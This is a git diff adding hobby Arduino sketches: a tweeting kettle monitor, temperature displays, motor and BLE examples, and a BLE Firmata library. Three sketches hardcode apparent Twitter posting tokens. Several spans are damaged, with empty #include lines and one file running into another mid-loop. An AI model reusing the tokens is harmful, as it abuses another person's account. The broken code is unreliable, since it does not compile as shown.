Main/Tea_duino_3_0/Tea_duino_3_0.ino new file mode 100755 index 0000000..35c2fe7 --- /dev/null +++ b/Projects/Tea-duino Main/Tea_duino_3_0/Tea_duino_3_0.ino @@ -0,0 +1,354 @@ +#include +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *menuTree[] = {"mainMenu", "Users", "Add user"}; +char *mainMenu[] = {"Choose user", "Add user"}; + +char *twitterHandles[] = {"@KevinMidboe ", "@EchoEsq ", "@SindreIvers ", "@Hozar132 ", "@Odinbn "}; +char *donePhrases[] = {"Vannet er ferdig! ", "TEATIME ", "my man, the water is done! ", "Kom å hent meg! "}; + +char *errorWhereIsBoiler [] = {"Sett vannkokeren", "pa knappen."}; +char *startWaterMessage [] = {"Skru pa vannet!"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); +byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; + +const int buttonPin = 3; +const int resetPin = 3; +int buttonState; +int UD = 1; +int LR = 1; + +boolean movedDown = false; +int upDownCount = 0; +int menuSelector = 0; +int mainMenuController = 0; +int animationSelector = 2; + +char* username; + +char buf[100]; + +int lengthMainMenu = sizeof(mainMenu); +int lengthUserMenu = sizeof(twitterHandles); + +JoystickController controller; + +void setup() +{ + lcd.begin(16,2); + Ethernet.begin(mac); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + pinMode(buttonPin, INPUT); + + upDownCount = writeMainMenu(movedDown, upDownCount); +} + +void loop() +{ + while (menuTree[menuSelector] == menuTree[0]) + { + delay(200); + controller.update(); + int direct = controller.getDirection(); + switch (direct) + { + case JoystickController::DIRECTION_RIGHT: + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeMainMenu(movedDown, upDownCount); + break; + } + case JoystickController::DIRECTION_LEFT: + { + movedDown = true; + upDownCount = writeMainMenu(movedDown, upDownCount); + upDownCount++; + break; + } + case JoystickController::DIRECTION_DOWN: + { + menuSelector = 1; + upDownCount = 0; + upDownCount = writeUserMenu(movedDown, upDownCount); + delay(400); + break; + } + } + } + while (menuTree[menuSelector] == menuTree[1]) + { + delay(200); + controller.update(); + int direct = controller.getDirection(); + switch (direct) + { + case JoystickController::DIRECTION_RIGHT: + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeUserMenu(movedDown, upDownCount); + break; + } + case JoystickController::DIRECTION_LEFT: + { + movedDown = true; + upDownCount = writeUserMenu(movedDown, upDownCount); + upDownCount++; + break; + } + case JoystickController::DIRECTION_DOWN: + { + username = twitterHandles[upDownCount]; + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + lcd.clear(); + lcd.write(errorWhereIsBoiler[0]); + lcd.setCursor(0,1); + lcd.write(errorWhereIsBoiler[1]); + delay(2000); + upDownCount = writeUserMenu(movedDown, upDownCount); + } + else + { + checkWaterON(username); + } + } + case JoystickController::DIRECTION_UP : + { + menuSelector = 0; + upDownCount = 0; + upDownCount = writeMainMenu(movedDown, upDownCount); + break; + } + } + } +} + +int writeMainMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(mainMenu[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + } + return i; +} + +int writeUserMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1,1); + lcd.write(twitterHandles[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(twitterHandles[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(twitterHandles[i + 1]); + } + return i; +} + +void checkWaterON(char* username) +{ + lcd.clear(); + lcd.write(startWaterMessage[0]); + delay(1500); + + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + waterOn(username); + } + else + { + checkWaterON(username); + } +} + +void waterOn(char* username) +{ + buttonState = analogRead(buttonPin); + while (buttonState != 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(animationSelector); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(1500); + if (animationSelector == 6) + { + animationSelector = 2; + } + waterOn(username); + } + tweet(username); +} + + void tweet(char* username) +{ + String str(username); + randomSeed(analogRead(4)); + long i = random(4); + int j(i); + String str2(donePhrases[j]); + str += str2; + i = random(20); + int k(i); + str += k; + char charBuf[140]; + str.toCharArray(charBuf, 140); + twitter.post(charBuf); + /*if () + { + int status = twitter.wait(&lcd); + if(status == 403) + { + if (j == 0) + { + j++; + } + else + if (j == 4) + { + j--; + } + else + { + j++; + } + String str3(username); + String str4(donePhrases[j]); + str3 += str4; + char charBuf1[140]; + str3.toCharArray(charBuf1, 140); + twitter.post(charBuf1); + } + }*/ + + waitForPickup(); +} + +void waitForPickup() +{ + buttonState = analogRead(buttonPin); + while (buttonState == 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(6); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + + delay(1500); + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(7); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1500); + waitForPickup(); + } + if (buttonState != 0) + { + reset(); + } +} + +void reset() +{ + lcd.clear(); + lcd.write("RESET!"); + delay(3000); + pinMode(resetPin, OUTPUT); + digitalWrite(resetPin, HIGH); +} diff --git a/Projects/Temp Main/TEMP01/TEMP01.ino b/Projects/Temp Main/TEMP01/TEMP01.ino new file mode 100755 index 0000000..e6ea67c --- /dev/null +++ b/Projects/Temp Main/TEMP01/TEMP01.ino @@ -0,0 +1,56 @@ +/* + * created by Rui Santos, http://randomnerdtutorials.wordpress.com + * Control DC motor with Smartphone via bluetooth + * 2013 + */ +int motorPin1 = 3; // pin 2 on L293D IC +int motorPin2 = 4; // pin 7 on L293D IC +int enablePin = 5; // pin 1 on L293D IC +int state; +int flag=0; //makes sure that the serial only prints once the state + +void setup() { + // sets the pins as outputs: + pinMode(motorPin1, OUTPUT); + pinMode(motorPin2, OUTPUT); + pinMode(enablePin, OUTPUT); + // sets enablePin high so that motor can turn on: + digitalWrite(enablePin, HIGH); + // initialize serial communication at 9600 bits per second: + Serial.begin(9600); +} + +void loop() { + //if some date is sent, reads it and saves in state + if(Serial.available() > 0){ + state = Serial.read(); + flag=0; + } + // if the state is '0' the DC motor will turn off + if (state == '0') { + digitalWrite(motorPin1, LOW); // set pin 2 on L293D low + digitalWrite(motorPin2, LOW); // set pin 7 on L293D low + if(flag == 0){ + Serial.println("Motor: off"); + flag=1; + } + } + // if the state is '1' the motor will turn right + else if (state == '1') { + digitalWrite(motorPin1, LOW); // set pin 2 on L293D low + digitalWrite(motorPin2, HIGH); // set pin 7 on L293D high + if(flag == 0){ + Serial.println("Motor: right"); + flag=1; + } + } + // if the state is '2' the motor will turn left + else if (state == '2') { + digitalWrite(motorPin1, HIGH); // set pin 2 on L293D high + digitalWrite(motorPin2, LOW); // set pin 7 on L293D low + if(flag == 0){ + Serial.println("Motor: left"); + flag=1; + } + } +} diff --git a/Projects/Temp Main/TEMP02/TEMP02.ino b/Projects/Temp Main/TEMP02/TEMP02.ino new file mode 100755 index 0000000..0b361e1 --- /dev/null +++ b/Projects/Temp Main/TEMP02/TEMP02.ino @@ -0,0 +1,37 @@ +int latchPin = 12; +int clockPin = 11; +int dataPin = 13; +byte leds = 0; +int currentLED = 0; + +void setup() +{ + pinMode(latchPin, OUTPUT); + pinMode(dataPin, OUTPUT); + pinMode(clockPin, OUTPUT); + + leds = 0; +} + +void loop() +{ + leds = 0; + + if (currentLED == 7) + { + currentLED = 0; + } + else + { + currentLED++; + } + + bitSet(leds, currentLED); + + digitalWrite(latchPin, LOW); + delay(250); + shiftOut(dataPin, clockPin, LSBFIRST, leds); + digitalWrite(latchPin, HIGH); + + delay(250); +} diff --git a/Projects/Temp Main/Temp_All/Temp_All.ino b/Projects/Temp Main/Temp_All/Temp_All.ino new file mode 100755 index 0000000..eb1e632 --- /dev/null +++ b/Projects/Temp Main/Temp_All/Temp_All.ino @@ -0,0 +1,114 @@ + +int temperaturePin = 0; +const int buttonPin = 0; + +int secondDisplayState = HIGH; +const boolean ON = HIGH; +const boolean OFF = LOW; +int buttonState, Avrund; + +int firstDisplay[] = {10, 9, 8, 7, 6, 5, 4}; + +int data = 11; +int latch = 12; +int clock = 13; + +byte firstNumber[10][7] = { +{ON, ON, ON, OFF, ON, ON, ON}, // 0 +{ON, OFF, OFF, OFF, OFF, OFF, ON}, // 1 +{OFF, ON, ON, ON, OFF, ON, ON}, // 2 +{ON, ON, OFF, ON, OFF, ON, ON}, // 3 +{ON, OFF, OFF, ON, ON, OFF, ON}, // 4 +{ON, ON, OFF, ON, ON, ON, OFF}, // 5 +{ON, ON, ON, ON, ON, ON, OFF}, // 6 +{ON, OFF, OFF, OFF, OFF, ON, ON}, // 7 +{ON, ON, ON, ON, ON, ON, ON}, // 8 +{ON, ON, OFF, ON, ON, ON, ON}}; // 9 + +byte secondNumber[5][7] = { +{OFF, ON, ON, ON, ON, ON, ON}, // 0 +{OFF, OFF, OFF, ON, OFF, OFF, ON}, // 1 +{ON, ON, ON, OFF, OFF, ON, ON}, // 2 +{ON, ON, OFF, ON, OFF, ON, ON}, // 3 +{ON, OFF, OFF, ON, ON, OFF, ON}}; // 4 +void setup() +{ + pinMode(buttonPin, INPUT); + + Serial.begin(9600); + + for (int i = 0; i < 7; i++) + { + pinMode(firstDisplay[i], OUTPUT); + } + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); +} +void loop() +{ + Avrund = 0; + buttonState = digitalRead(buttonPin); + if (buttonState == LOW) + { + float temperature = getVoltage(temperaturePin); + temperature = (temperature - .5) * 100; + + Serial.print(temperature); + Serial.println(" Celsius"); + + temperature = temperature * 10; + int intConvertedTemp = (int) temperature; + String stringConvertedTemp = (String) intConvertedTemp; + + for (int i = 0; i < 10; i++) + { + if (stringConvertedTemp.substring(0,1) == (String) i) + { + for (int j = 0; j < 7; j++) + { + changeThe7Segments(j, secondNumber[i][j]); + } + } + if (stringConvertedTemp.substring(2,3) > "5") + { + Avrund = 1; + } + if (stringConvertedTemp.substring(1,2) == (String) i) + { + for (int j = 0; j < 7; j++) + { + digitalWrite(firstDisplay[j], firstNumber[i + Avrund][j]); + } + } + } + delay(1250); + for (int i = 0; i < 7; i++) + { + digitalWrite(firstDisplay[i], OFF); + changeThe7Segments(i, OFF); + } + } +} +float getVoltage(int pin) +{ + return (analogRead(pin) * .004882814); +} +void updateSecondDisplay(int value) +{ + digitalWrite(latch, LOW); + shiftOut(data, clock, MSBFIRST, value); + digitalWrite(latch, HIGH); +} +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; + + void changeThe7Segments(int led, int state) + { + secondDisplayState = secondDisplayState & masks[led]; + if(state == ON) + { + secondDisplayState = secondDisplayState | bits[led]; + } + updateSecondDisplay(secondDisplayState); + } diff --git a/Projects/Temp Main/Temp_Pre/Temp_Pre.ino b/Projects/Temp Main/Temp_Pre/Temp_Pre.ino new file mode 100755 index 0000000..4d0138d --- /dev/null +++ b/Projects/Temp Main/Temp_Pre/Temp_Pre.ino @@ -0,0 +1,46 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-10 .: Temperature :. (TMP36 Temperature Sensor) | + * --------------------------------------------------------- + * + * A simple program to output the current temperature to the IDE's debug window + * + * For more details on this circuit: http://tinyurl.com/c89tvd + */ + +//TMP36 Pin Variables +int temperaturePin = 0; //the analog pin the TMP36's Vout (sense) pin is connected to + //the resolution is 10 mV / degree centigrade + //(500 mV offset) to make negative temperatures an option + +/* + * setup() - this function runs once when you turn your Arduino on + * We initialize the serial connection with the computer + */ +void setup() +{ + Serial.begin(9600); //Start the serial connection with the copmuter + //to view the result open the serial monitor + //last button beneath the file bar (looks like a box with an antenae) +} + +void loop() // run over and over again +{ + float temperature = getVoltage(temperaturePin); //getting the voltage reading from the temperature sensor + temperature = (temperature - .5) * 100; //converting from 10 mv per degree with 500 mV offset + //to degrees ((volatge - 500mV) times 100) + Serial.print(temperature); //printing the result + Serial.print(" Celsius "); + Serial.print(getVoltage(temperaturePin)); + Serial.println(" Volt"); + delay(1000); //waiting a second +} + +/* + * getVoltage() - returns the voltage on the analog input defined by + * pin + */ +float getVoltage(int pin){ + return (analogRead(pin) * .004882814); //converting from a 0 to 1023 digital range + // to 0 to 5 volts (each 1 reading equals ~ 5 millivolts +} diff --git a/Projects/Tweet/SimplePost/SimplePost.ino b/Projects/Tweet/SimplePost/SimplePost.ino new file mode 100755 index 0000000..ea96903 --- /dev/null +++ b/Projects/Tweet/SimplePost/SimplePost.ino @@ -0,0 +1,59 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Ethernet Shield Settings +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; + +const int buttonPin = 9; +int buttonState = 0; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +//byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); + +// Message to post +char msg[] = "@KevinMidboe Vannet er ferdig!"; + +void setup() +{ + delay(1000); + Ethernet.begin(mac); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + Serial.begin(9600); + pinMode(buttonPin, INPUT); + buttonState = LOW; +} + +void loop() +{ + buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Serial.println("connecting ..."); + if (twitter.post(msg)) { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } + delay(1000); + } +} + diff --git a/Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino b/Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino new file mode 100755 index 0000000..936cf37 --- /dev/null +++ b/Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino @@ -0,0 +1,55 @@ +#include // needed in Arduino 0019 or later +#include +#include +#include + +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; +//byte ip[] = {192, 168, 0, 105}; + +char buf[100]; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); + +int i = 0; +int buttonPin = 3; + +String stringKevin = String("@KevinMidboe"); +String stringVannFerdig = String(" Vannet er ferdig! 0"); + +void setup() +{ + delay(1000); + Ethernet.begin(mac); + Serial.begin(9600); +} +/* +void tweet(String msg[]) { + Serial.println("connecting ..."); + if (twitter.post(msg)) { + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } +}*/ + +void loop() +{ + if (analogRead(buttonPin) != 0) + { + i++; + stringKevin += stringVannFerdig; + stringKevin += seconds(); + char charBuf[50]; + stringKevin.toCharArray(charBuf, 50); + twitter.post(charBuf); + + // zero delay + delay(1000); + } +} diff --git a/Projects/_3DInterface/_3DInterface.ino b/Projects/_3DInterface/_3DInterface.ino new file mode 100755 index 0000000..608e611 --- /dev/null +++ b/Projects/_3DInterface/_3DInterface.ino @@ -0,0 +1,63 @@ +// +// By Kyle McDonald +// From the instructables project at: +// http://www.instructables.com/id/DIY-3D-Controller/ + +#define resolution 8 +#define mains 50 // 60: north america, japan; 50: most other places + +#define refresh 2 * 1000000 / mains + +void setup() { + Serial.begin(115200); + + // unused pins are fairly insignificant, + // but pulled low to reduce unknown variables + for(int i = 2; i < 14; i++) { + pinMode(i, OUTPUT); + digitalWrite(i, LOW); + } + + for(int i = 8; i < 11; i++) + pinMode(i, INPUT); + + startTimer(); +} + +void loop() { + Serial.print(time(8, B00000001), DEC); + Serial.print(" "); + Serial.print(time(9, B00000010), DEC); + Serial.print(" "); + Serial.println(time(10, B00000100), DEC); + +} + +long time(int pin, byte mask) { + unsigned long count = 0, total = 0; + while(checkTimer() < refresh) { + // pinMode is about 6 times slower than assigning + // DDRB directly, but that pause is important + pinMode(pin, OUTPUT); + PORTB = 0; + pinMode(pin, INPUT); + while((PINB & mask) == 0) + count++; + total++; + } + startTimer(); + return (count << resolution) / total; +} + +extern volatile unsigned long timer0_overflow_count; + +void startTimer() { + timer0_overflow_count = 0; + TCNT0 = 0; +} + +unsigned long checkTimer() { + return ((timer0_overflow_count << 8) + TCNT0) << 2; +} + + diff --git a/Projects/_5_buttonTest/_5_buttonTest.ino b/Projects/_5_buttonTest/_5_buttonTest.ino new file mode 100644 index 0000000..33aa88d --- /dev/null +++ b/Projects/_5_buttonTest/_5_buttonTest.ino @@ -0,0 +1,21 @@ +const int buttonPin0 = 0; + +const int led = 13; + +void setup() { + pinMode(buttonPin0, INPUT); + pinMode(led, OUTPUT); + + Serial.begin(9600); +} + +void loop() { +if (analogRead(buttonPin0) == 0) { + digitalWrite(led, HIGH); +} +else { + digitalWrite(led, LOW); +} + + delay(1000); +} diff --git a/Projects/callbackEcho1/callbackEcho1.ino b/Projects/callbackEcho1/callbackEcho1.ino new file mode 100755 index 0000000..904d37d --- /dev/null +++ b/Projects/callbackEcho1/callbackEcho1.ino @@ -0,0 +1,120 @@ +/********************************************************************* +This is an example for our nRF8001 Bluetooth Low Energy Breakout + + Pick one up today in the adafruit shop! + ------> http://www.adafruit.com/products/1697 + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +// This version uses call-backs on the event and RX so there's no data handling in the main loop! + +#include +#include +#include "Adafruit_BLE_UART.h" + +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 +#define ADAFRUITBLE_RST 9 + +Servo myservo; +int pos = 0; + +Adafruit_BLE_UART uart = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); + +/**************************************************************************/ +/*! + This function is called whenever select ACI events happen +*/ +/**************************************************************************/ +void aciCallback(aci_evt_opcode_t event) +{ + switch(event) + { + case ACI_EVT_DEVICE_STARTED: + Serial.println(F("Advertising started")); + break; + case ACI_EVT_CONNECTED: + Serial.println(F("Connected!")); + break; + case ACI_EVT_DISCONNECTED: + Serial.println(F("Disconnected or advertising timed out")); + break; + default: + break; + } +} + +/**************************************************************************/ +/*! + This function is called whenever data arrives on the RX channel +*/ +/**************************************************************************/ +void rxCallback(uint8_t *buffer, uint8_t len) +{ + Serial.print(F("Received ")); + Serial.print(len); + Serial.print(F(" bytes: ")); + for(int i=0; i debounceDelay) { + // whatever the reading is at, it's been there for longer + // than the debounce delay, so take it as the actual current state: + buttonState = reading; + } + + + + // set the LED using the state of the button: + digitalWrite(ledPin1, ledState); + digitalWrite(ledPin2, ledState); + digitalWrite(ledPin3, ledState); + digitalWrite(ledPin4, ledState); + digitalWrite(ledPin5, ledState); + digitalWrite(ledPin6, ledState); + digitalWrite(ledPin7, ledState); + + // save the reading. Next time through the loop, + // it'll be the lastButtonState: + lastButtonState = reading; +} diff --git a/Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino b/Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino new file mode 100644 index 0000000..6440d65 --- /dev/null +++ b/Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino @@ -0,0 +1,15 @@ +#include + +// The serial connection to the GPS module +SoftwareSerial gpsSerial(4, 3); + +void setup(){ + Serial.begin(9600); + gpsSerial.begin(9600); +} + +void loop(){ + while (gpsSerial.available()) { // check for gps data + Serial.write(gpsSerial.read()); + } +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore new file mode 100755 index 0000000..7f885cb --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore @@ -0,0 +1,2 @@ +.DS_Store +release.sh diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp new file mode 100755 index 0000000..6fb7e03 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp @@ -0,0 +1,463 @@ +/* + Firmata.cpp - Firmata library + Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved. + + Modified for Adafruit_BLE_Uart by Limor Fried/Kevin Townsend for + Adafruit Industries, 2014 + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + See file LICENSE.txt for further informations on licensing terms. +*/ + +//****************************************************************************** +//* Includes +//****************************************************************************** + +#include "Adafruit_BLE_Firmata.h" + +extern "C" { +#include +#include +} + +//****************************************************************************** +//* Support Functions +//****************************************************************************** + +void Adafruit_BLE_FirmataClass::sendValueAsTwo7bitBytes(int value) +{ + FirmataSerial.write(value & B01111111); // LSB + FirmataSerial.write(value >> 7 & B01111111); // MSB +} + +void Adafruit_BLE_FirmataClass::startSysex(void) +{ + FirmataSerial.write(START_SYSEX); +} + +void Adafruit_BLE_FirmataClass::endSysex(void) +{ + FirmataSerial.write(END_SYSEX); +} + +//****************************************************************************** +//* Constructors +//****************************************************************************** + +Adafruit_BLE_FirmataClass::Adafruit_BLE_FirmataClass(Adafruit_BLE_UART &s) : FirmataSerial(s) +{ + firmwareVersionCount = 0; + systemReset(); +} + +//****************************************************************************** +//* Public Methods +//****************************************************************************** + +/* begin method for overriding default serial bitrate */ +void Adafruit_BLE_FirmataClass::begin(void) +{ + blinkVersion(); + printVersion(); + printFirmwareVersion(); +} + +void Adafruit_BLE_FirmataClass::begin(Adafruit_BLE_UART &s) +{ + FirmataSerial = s; + systemReset(); + printVersion(); + printFirmwareVersion(); +} + +// output the protocol version message to the serial port +void Adafruit_BLE_FirmataClass::printVersion(void) { + FirmataSerial.write(REPORT_VERSION); + FirmataSerial.write(FIRMATA_MAJOR_VERSION); + FirmataSerial.write(FIRMATA_MINOR_VERSION); +} + +void Adafruit_BLE_FirmataClass::blinkVersion(void) +{ + // flash the pin with the protocol version + pinMode(VERSION_BLINK_PIN,OUTPUT); + pin13strobe(FIRMATA_MAJOR_VERSION, 40, 210); + delay(250); + pin13strobe(FIRMATA_MINOR_VERSION, 40, 210); + delay(125); +} + +void Adafruit_BLE_FirmataClass::printFirmwareVersion(void) +{ + byte i; + + if(firmwareVersionCount) { // make sure that the name has been set before reporting + startSysex(); + FirmataSerial.write(REPORT_FIRMWARE); + FirmataSerial.write(firmwareVersionVector[0]); // major version number + FirmataSerial.write(firmwareVersionVector[1]); // minor version number + for(i=2; i 0) && (inputData < 128) ) { + waitForData--; + storedInputData[waitForData] = inputData; +#ifdef BLE_DEBUG + Serial.print(F(" 0x")); Serial.print(inputData, HEX); +#endif + + if( (waitForData==0) && executeMultiByteCommand ) { // got the whole message + +#ifdef BLE_DEBUG + Serial.println(); +#endif + + + switch(executeMultiByteCommand) { + case ANALOG_MESSAGE: + if(currentAnalogCallback) { + (*currentAnalogCallback)(multiByteChannel, + (storedInputData[0] << 7) + + storedInputData[1]); + } + break; + case DIGITAL_MESSAGE: + if(currentDigitalCallback) { + (*currentDigitalCallback)(multiByteChannel, + (storedInputData[0] << 7) + + storedInputData[1]); + } + break; + case SET_PIN_MODE: + if(currentPinModeCallback) + (*currentPinModeCallback)(storedInputData[1], storedInputData[0]); + break; + case REPORT_ANALOG: + if(currentReportAnalogCallback) + (*currentReportAnalogCallback)(multiByteChannel,storedInputData[0]); + break; + case REPORT_DIGITAL: + if(currentReportDigitalCallback) + (*currentReportDigitalCallback)(multiByteChannel,storedInputData[0]); + break; + } + executeMultiByteCommand = 0; + } + } else { +#ifdef BLE_DEBUG + Serial.print(F("\tReceived 0x")); Serial.print(inputData, HEX); +#endif + // remove channel info from command byte if less than 0xF0 + if(inputData < 0xF0) { + command = inputData & 0xF0; + multiByteChannel = inputData & 0x0F; + } else { + command = inputData; + // commands in the 0xF* range don't use channel data + } + switch (command) { + case ANALOG_MESSAGE: + case DIGITAL_MESSAGE: + case SET_PIN_MODE: + waitForData = 2; // two data bytes needed + executeMultiByteCommand = command; + break; + case REPORT_ANALOG: + case REPORT_DIGITAL: + waitForData = 1; // two data bytes needed + executeMultiByteCommand = command; + break; + case START_SYSEX: + parsingSysex = true; + sysexBytesRead = 0; + break; + case SYSTEM_RESET: + systemReset(); + break; + case REPORT_VERSION: + printVersion(); + break; + } + } + + return inputData; +} + +//------------------------------------------------------------------------------ +// Serial Send Handling + +// send an analog message +void Adafruit_BLE_FirmataClass::sendAnalog(byte pin, int value) +{ + // create a three byte buffer + uint8_t sendbuffer[3]; + + // pin can only be 0-15, so chop higher bits + //FirmataSerial.write(ANALOG_MESSAGE | (pin & 0xF)); + sendbuffer[0] = ANALOG_MESSAGE | (pin & 0xF); + + //sendValueAsTwo7bitBytes(value); + sendbuffer[1] = value % 128; // Tx bits 0-6 + sendbuffer[2] = (value >> 7) &0x7F; // Tx bits 7-13 + + FirmataSerial.write(sendbuffer, 3); +} + +// send a single digital pin in a digital message +void Adafruit_BLE_FirmataClass::sendDigital(byte pin, int value) +{ + /* TODO add single pin digital messages to the protocol, this needs to + * track the last digital data sent so that it can be sure to change just + * one bit in the packet. This is complicated by the fact that the + * numbering of the pins will probably differ on Arduino, Wiring, and + * other boards. The DIGITAL_MESSAGE sends 14 bits at a time, but it is + * probably easier to send 8 bit ports for any board with more than 14 + * digital pins. + */ + + // TODO: the digital message should not be sent on the serial port every + // time sendDigital() is called. Instead, it should add it to an int + // which will be sent on a schedule. If a pin changes more than once + // before the digital message is sent on the serial port, it should send a + // digital message for each change. + + // if(value == 0) + // sendDigitalPortPair(); +} + + +// send 14-bits in a single digital message (protocol v1) +// send an 8-bit port in a single digital message (protocol v2) +void Adafruit_BLE_FirmataClass::sendDigitalPort(byte portNumber, int portData) +{ + // create a three byte buffer + uint8_t sendbuffer[3]; + + sendbuffer[0] = DIGITAL_MESSAGE | (portNumber & 0xF); + sendbuffer[1] = (byte)portData % 128; // Tx bits 0-6 + sendbuffer[2] = portData >> 7; // Tx bits 7-13 + FirmataSerial.write(sendbuffer, 3); +} + + +void Adafruit_BLE_FirmataClass::sendSysex(byte command, byte bytec, byte* bytev) +{ + byte i; + startSysex(); + FirmataSerial.write(command); + for(i=0; i + +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" // for digitalRead, digitalWrite, etc +#else +#include "WProgram.h" +#endif + +// Normally Servo.h must be included before Firmata.h (which then includes +// this file). If Servo.h wasn't included, this allows the code to still +// compile, but without support for any Servos. Hopefully that's what the +// user intended by not including Servo.h +#ifndef MAX_SERVOS +#define MAX_SERVOS 0 +#endif + +/* + Firmata Hardware Abstraction Layer + +Firmata is built on top of the hardware abstraction functions of Arduino, +specifically digitalWrite, digitalRead, analogWrite, analogRead, and +pinMode. While these functions offer simple integer pin numbers, Firmata +needs more information than is provided by Arduino. This file provides +all other hardware specific details. To make Firmata support a new board, +only this file should require editing. + +The key concept is every "pin" implemented by Firmata may be mapped to +any pin as implemented by Arduino. Usually a simple 1-to-1 mapping is +best, but such mapping should not be assumed. This hardware abstraction +layer allows 